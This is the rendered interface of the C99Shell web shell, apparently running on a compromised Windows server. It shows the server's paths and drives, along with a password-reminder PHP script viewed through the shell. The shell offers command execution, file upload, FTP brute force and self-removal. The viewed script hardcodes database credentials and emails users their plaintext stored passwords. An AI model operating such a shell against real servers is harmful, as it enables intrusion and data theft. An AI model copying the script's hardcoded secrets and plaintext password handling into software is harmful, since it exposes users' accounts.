!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\jaime\Xcode\AccessControl\   drwxrwxrwx
Free 7.97 GB of 239.26 GB (3.33%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     9.php (2.55 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// Include MySQL class
require_once ('Database/MySQL.php');

// Include AccountMaintenance class
require_once ('AccessControl/AccountMaintenance.php');

// Include QuickForm class
require_once ("HTML/QuickForm.php");

// Include phpmailer class
require_once ('ThirdParty/phpmailer/class.phpmailer.php');

$host='localhost';   // Hostname of MySQL server
$dbUser='harryf';    // Username for MySQL
$dbPass='secret';    // Password for user
$dbName='sitepoint'// Database name

// phpmailer settings
$yourName='Your Name';
$yourEmail='you@yourdomain.com';
$subject='Your password';
$msg='Here are your login details. Please change your password.';

// Instantiate the QuickForm class
$form =& new HTML_QuickForm('passwordForm''POST');
$renderer =& $form->defaultRenderer();

// Add a header to the form
$form->addElement('header''header''Forgotten Your Password?');

// Add a field for the email address
$form->addElement('text','email','Enter your email address');
$form->addRule('email','Enter your email','required',false,'client');
$form->addRule('email','Enter a valid email address','email',false,'client');

// Add a submit button called submit and "Send" as the text for the button
$form->addElement('submit','submit','Get Password');

// If the form is submitted...
if ( $form->validate() ) {
    
// Instantiate MySQL connection
    
$db=& new MySQL($host,$dbUser,$dbPass,$dbName);

    
// Instantiate Account Maintenance class
    
$aMaint=new AccountMaintenance($db);

    if ( !
$details=$aMaint->fetchLogin($form->getSubmitValue('email')) ) {
        echo (
'We have no records of your account');
    } else {
        
$mail = new phpmailer();
        
// Define who the message is from
        
$mail->From $yourEmail;
        
$mail->FromName $yourName;

        
// Set the subject of the message
        
$mail->Subject $subject;
        
        
// Build the message
        
$mail->Body $msg."\n\nLogin: ".$details['login'].
                      
"\nPassword: ".$details['password'];

        
// Add the recipient
        
$name=$details['firstName'].' '.$details['lastName'];
        
$mail->AddAddress($form->getSubmitValue('email'),$name);

        
// Send the message
        
if($mail->Send())
            echo (
'An email has been sent to '.
                    
$form->getSubmitValue('email'));
        else
            echo (
'Problem sending your details. Please contact the site '.
                  
'administrators');
    }
} else {
    
// If not submitted, display the form
    
$form->display();
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--